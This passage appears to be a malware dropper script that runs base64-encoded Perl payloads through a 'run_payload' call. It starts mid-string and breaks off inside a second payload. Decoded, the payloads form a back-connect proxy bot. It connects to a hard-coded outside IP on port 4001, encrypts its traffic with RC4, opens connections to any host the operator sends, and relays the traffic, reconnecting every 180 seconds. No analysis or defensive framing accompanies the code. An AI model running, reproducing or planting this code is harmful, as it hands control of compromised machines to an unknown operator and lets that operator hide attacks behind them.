JbJGVieF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgcGFjaygiSSIsIDY1NTM2KSk7DQoJCQkJCQkgDQoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDMpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3Vic3RyKCRidWZmZXIwLCA5LCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkpOw0KCQkJDQoJCQkJCQkJICRwb3J0MCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAxLCAxKSwgMCwgMTYpOw0KCQkJDQoJCQkJCQkgfQ0KCQkNCgkJCQkJCSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDEpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMCwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMiwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMywgMSksIDAsIDgpKTsNCgkJCQ0KCQkJCQkJCSAkcG9ydDAgPSAgdmVjKHN1YnN0cigkYnVmZmVyMCwgMTIgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsNCgkJCQ0KCQkJCQkJIH0NCgkJDQoJCQkJCQkgZWxzZSB7DQoJCQkNCgkJCQkJCQkgZ290byBjbG9zZV87DQoJCQkJCQkgfQ0KCQkJCQkJIA0KCQkJCQkJIGV2YWwgew0KCQkJIA0KCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7DQoJCQ0KCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7DQoJCSANCgkJCQkJCQkgdmVjKG15ICR3aW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJbJGVieF0pLCAxKSA9IDE7DQoNCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQ0KCQkJDQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7DQoJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgNCwgMSkgPSAiXHgwMCI7DQoJCSANCgkJCQkJCQkgJF9yZXQwID0gMTsNCgkJCSANCgkJCQkJCSB9Ow0KCQkgDQoJCQkJCQkgY2xvc2VfOg0KCQkJCQkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIGxlbmd0aCgkcmVzcG9uY2UpKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsNCgkJCQkJCQkgDQoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7DQoJCSANCgkJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7DQoJCQkJCQkJIA0KCQkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsNCgkJIA0KCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOw0KCQkgDQoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkJCSANCgkJCQkJCSB9DQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJDQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVyMCwgJHJlbWFpbmluZywgNCk7DQoJCQkJCQkgDQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJIA0KCQkJCQkgJHJlbWFpbmluZyA9IDA7DQoJCQkJfQ0KCQkJCQ0KCQkJfQ0KCQkJIA0KCQkJICRyZW1haW5pbmc0ID0gMDsNCgkJCSANCgkJfQ0KCQkNCgkJZWxzZSB7DQoJCQkNCgkJCSAkZWF4ID0gNDsNCgkJCQ0KCQkJICRlYXggPSAkZWF4IC0gJHJlbWFpbmluZzQ7DQoJCQkgDQoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7DQoJCQkgDQoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkgDQoJCQkgJHJlbWFpbmluZzQgKz0gJGRhdGE7DQoJCQkgDQoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOw0KCQkJIA0KCQkJICRjb3VudGVyID0gMDsNCgkJCSANCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgew0KCQkJCSANCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7DQoJCQkJIA0KCQkJCSAkZWJ4ID0gdmVjKHN1YnN0cigkYnVmZmVyMCwgMSwgMSksIDAsIDgpOw0KCQkJCSANCgkJCQkgJGVkeCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMiwgMikpOw0KCQkJIA0KCQkJCSAkX3JldCA9IDE7DQoJCQl9DQoJCQkNCgkJfQ0KCX0NCgkNCgkgY2xvc2UwOg0KCSANCgkgY2xvc2UoJHNvY2tldGFyclswXSk7DQoJIA0KCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsNCg0KCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0NCgkJIA0KCSB9DQoJIA0KCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0NCgkgDQoJIHJldHVybiAkX3JldDsNCg0KfQ0KDQp3aGlsZSgxKQ0Kew0KCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQpOw0KCSANCgkgc2xlZXAgMTgwOw0KfQ=="

# script_6.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsDQoNCnVzZSBzdHJpY3Q7DQp1c2Ugd2FybmluZ3M7DQp1c2UgU29ja2V0Ow0KdXNlIFNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7DQp1c2UgRmNudGwgcXcoRl9HRVRGTCBGX1NFVEZMIE9fTk9OQkxPQ0spOw0KDQpteSAkaG9zdCA9ICczNi4yNTUuOTguMTU1JzsNCm15ICRwb3J0ID0gNDAwMTsNCg0KbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsNCg0KZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQ0KDQpzdWIgUmM0X2NyeXB0IHsNCgkgDQoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3ogPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2Ow0KCSANCgkgbXkgJHBvY2tlbW9uMCA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjEgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb24yID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uMyA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjQgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb241ID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uNiA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjcgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb244ID0gMDsNCgkgDQoJIG15ICRyY3ggPSAkc3o7DQoJIA0KCSBteSAkcnNpID0gMDsNCgkgDQoJIG15ICRyYnggPSAwOw0KCSANCgkgbXkgJGdzID0gMDsNCgkgDQoJIG15ICR0ID0gMDsNCgkgDQoJIG15ICRzdHJfdmVjID0gIlx4MDAiOw0KCSANCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7ICMg0JfQsNC/0L7Qu9C90Y/QtdC8INGB0YLRgNC+0LrRgyDQsdCw0LnRgtCw0LzQuCAwLi4yNTUg0LHRi9GB0YLRgNC+DQoJIA0KCSBkbyB7DQoJCSANCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAodmVjKHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSwgMCwgOCkgXiB2ZWMoc3Vic3RyKCQkcGFzc3csICRyYngsIDEpLCAwLCA4KSk7DQoJCSANCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcnNpKys7DQoJCQ0KCQkgJHJieCsrOw0KCQkNCgkJICRyY3gtLTsNCgkJDQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7DQoJCQkgDQoJCQkgJHJieCA9IDA7DQoJCX0NCgkJIA0KCX0gd2hpbGUoJHJjeCA+IDApOw0KCQ0KCQ0KCSB3aGlsZSgxKSB7DQoJCSANCgkJIGlmICgkZ3MgPT0gMCkgew0KCQkJIA0KCQkJICRwb2NrZW1vbjIgPSAwOw0KDQoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7DQoJCX0NCgkJIA0KCQkgaWYgKCRncyAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMDsNCg0KCQkJICRwb2NrZW1vbjIrKzsNCg0KCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9DQoJCQkgDQoJCX0NCgkJDQoJCSAkcG9ja2Vtb243ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSwgMCwgOCk7DQoJCSANCgkJICR0ID0gdmVjKHN1YnN0cigkJHBhc3N3LCAkcG9ja2Vtb24yLCAxKSwgMCwgOCk7DQoNCgkJICRwb2NrZW1vbjEgKz0gJHQ7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb242ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSwgMCwgOCk7DQoNCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkcG9ja2Vtb242Ow0KDQoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRwb2NrZW1vbjc7DQoJCSANCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcG9ja2Vtb24wKys7DQoNCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1Ow0KCQkgDQoJCSBpZiAoJHBvY2tlbW9uMCAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMTsNCgkJCSANCgkJCSBuZXh0Ow0KCQl9DQoJCQ0KCQkgJHBvY2tlbW9uNCA9ICRzejsNCg0KCQkgJHBvY2tlbW9uMSA9IDA7DQoNCgkJICRwb2NrZW1vbjAgPSAwOw0KDQoJCSAkcG9ja2Vtb24yID0gMDsNCg0KCQkgJHBvY2tlbW9uMyA9IDA7DQoJCSANCgkJIHdoaWxlKDEpIHsNCgkJCSANCgkJCSAkcG9ja2Vtb24yKys7DQoNCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tlbW9uMiAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjcgPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjIsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjggPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uODsNCgkJCSANCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNzsNCgkJIA0KCQkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KDQoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243Ow0KCQ0KCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1Ow0KDQoJCQkgJHBvY2tlbW9uMCA9IHZlYyhzdWJzdHIoJHJjNCwgJHBvY2tlbW9uOCwgMSksIDAsIDgpOw0KCQkJIA0KCQkJICRwb2NrZW1vbjUgPSB2ZWMoc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpLCAwLCA4KTsNCg0KCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNTsNCgkJCSANCgkJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSAkcG9ja2Vtb24zKys7DQoJCQkgDQoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQ0KCQkJIHsNCgkJCQkgbGFzdDsNCgkJCSB9DQoJCQkgDQoJCX0NCgkJIA0KCQkgbGFzdDsNCgl9DQoJDQoJICRyc2kgPSAwOw0KCQ0KCSAkcmN4ID0gJHN6Ow0KCQ0KCSAkcmJ4ID0gMDsNCgkNCgkgZG8gew0KCQkgDQoJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gKHZlYyhzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSksIDAsIDgpIF4gdmVjKHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSwgMCwgOCkpOw0KCQkgDQoJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgJHJzaSsrOw0KCQkNCgkJICRyYngrKzsNCgkJDQoJCSAkcmN4LS07DQoJCQ0KCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgew0KCQkJIA0KCQkJICRyYnggPSAwOw0KCQl9DQoJCSANCgl9IHdoaWxlKCRyY3ggPiAwKTsNCgkNCn0NCg0Kc3ViIGJjY25jdCB7DQoNCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcG9ydCA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRyZW1haW5pbmcgPSAwOw0KCSANCgkgbXkgJHJlbWFpbmluZzQgPSAwOw0KCSANCgkgbXkgJGRvbWFpbjsNCgkgDQoJIG15ICRwb3J0MDsNCgkgDQoJIG15IEBzb2NrZXRhcnI7DQoJIA0KCSBteSBAc29ja2V0YXJyYXk7DQoJIA0KCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOw0KCSANCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOw0KCSANCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsNCgkgDQoJIG15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7DQoJIA0KCSBteSAkaXNFeGl0ID0gMDsNCgkgDQoJIG15ICRfcmV0MCA9IDA7DQoJIA0KCSBteSAkZWN4ID0gMDsNCgkgDQoJIG15ICRlYXggPSAwOw0KCSANCgkgbXkgJGRhdGEgPSAwOw0KCSANCgkgbXkgJF9yZXQgPSAwOw0KCSANCgkgbXkgJGVieCA9IDA7DQoJIA0KCSBteSAkZWR4ID0gMDsNCgkgDQoJIG15ICRjb3VudGVyID0gMDsNCgkgDQoJIG15ICRjb3VudGNjID0gMDsNCgkJIA0KCSBteSAkcmluID0gJyc7DQoJIA0KCSBteSAkZmxhZ3M7DQoJIA0KCSBteSAkc3RyX3ZlYyA9ICJceDAwIjsNCgkgDQoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgeyAkc29ja2V0YXJyYXlbJGldID0gMDsgfQ0KCSANCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOw0KCSANCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCiAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19TTkRCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0b24oJCRob3N0KSk7DQoJIA0KCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsNCgkgDQoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsNCgkgDQoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsNCgkgDQoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIGxlbmd0aCgkYnVmZmVyKSk7DQoJIA0KCSB3aGlsZSgxKSB7DQoJCSANCgkJICRjb3VudGNjID0gMDsNCgkJIA0KCQkgJHJpbiA9ICcnOw0KCQkgDQoJCSBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsNCgkJIA0KCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsNCgkJCQkgDQoJCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSA9IDE7DQoJCQkJIA0KCQkJCSAkY291bnRjYysrOw0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgaWYgKCRjb3VudGNjID4gMCkgew0KCQkJIA0KCQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9DQoJCQkgDQoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7DQoJCQkJIA0KCQkJCSBpZiAoKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgJiYgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpKSB7DQoJCQkJCSANCgkJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWyRpXSwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsNCgkJCQkgDQoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7DQoJCQkJCSANCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsNCgkJCQkJIA0KCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsNCgkJCQkJCSANCgkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGk7DQoJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkgDQoJCQkJCSB9DQoJCQkJIA0KCQkJCQkgZWxzZSB7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRpOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDMsICRkYXRhKTsNCgkJCQkgDQoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7DQoJCQkJCSANCgkJCQkJIH0NCgkJCQkgfQ0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgbmV4dF9fOg0KCQkgDQoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgew0KCQkJIA0KCQkJICRyaW4gPSAnJzsNCgkJCSANCgkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7DQoJCQkgDQoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOw0KCQkJIA0KCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsNCgkJCSANCgkJCSBpZiAoJHJldCA9PSAwKSB7DQoJCQkJIA0KCQkJCSAkY291bnRlcisrOw0KCQkJCSANCgkJCQkgaWYgKCRjb3VudGVyID09IDEwMCAqIDYwKSB7DQoJCQkJCSANCgkJCQkJICRjb3VudGVyID0gMDsNCg0KCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7DQoJCQkJIA0KCQkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZyAhPSAwKTsNCgkJCQkgDQoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsNCgkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsNCgkJCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgbGVuZ3RoKCRidWZmZXJudWxsKSk7DQoJCQkJIH0NCgkJCQkgDQoJCQkJIG5leHQ7DQoJCQl9DQoJCQkgDQoJCX0NCgkJIA0KCQkgaWYgKCRyZW1haW5pbmcgIT0gMCB8fCAkcmVtYWluaW5nNCA9PSA0KSB7DQoJCQkgDQoJCQkgaWYgKCRlZHggPT0gMCkgew0KCQkJCSANCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7DQoJCQkJCSANCgkJCQkJICRpc0V4aXQgPSAxOw0KCQkJCQkgDQoJCQkJCSBsYXN0Ow0KCQkJCQkgDQoJCQkJfQ0KCQkJCSANCgkJCQkgZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkgDQoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOw0KCQkJCQkgDQoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsNCgkJCQkJIA0KCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7DQoJCQkJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJIA0KCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOw0KCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCSANCgkJCQl9DQoJCQkNCgkJCX0NCgkJCQ0KCQkJZWxzZSB7DQoJCQkJDQoJCQkJICRlY3ggPSAkZWR4Ow0KCQkJCQ0KCQkJCSAkZWN4ID0gJGVjeCAtICRyZW1haW5pbmc7DQoJCQkJIA0KCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsNCgkJCQkNCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkJIA0KCQkJCSAkcmVtYWluaW5nICs9ICRkYXRhOw0KCQkJCSANCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgew0KCQkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIwLCA0LCAkcmVtYWluaW5nKTsNCgkJCQkJIA0KCQkJCQkgaWYgKHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpLCAwLCA4KSA9PSAwKSB7DQoJCQkJCQkgDQoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCQkJCQkJIA0KCQkJCQkJICRfcmV0MCA9IDA7DQoJCQkJCQkgDQoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxMykgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCQkJCQkgDQoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7DQoJCQkJCQkgDQoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgk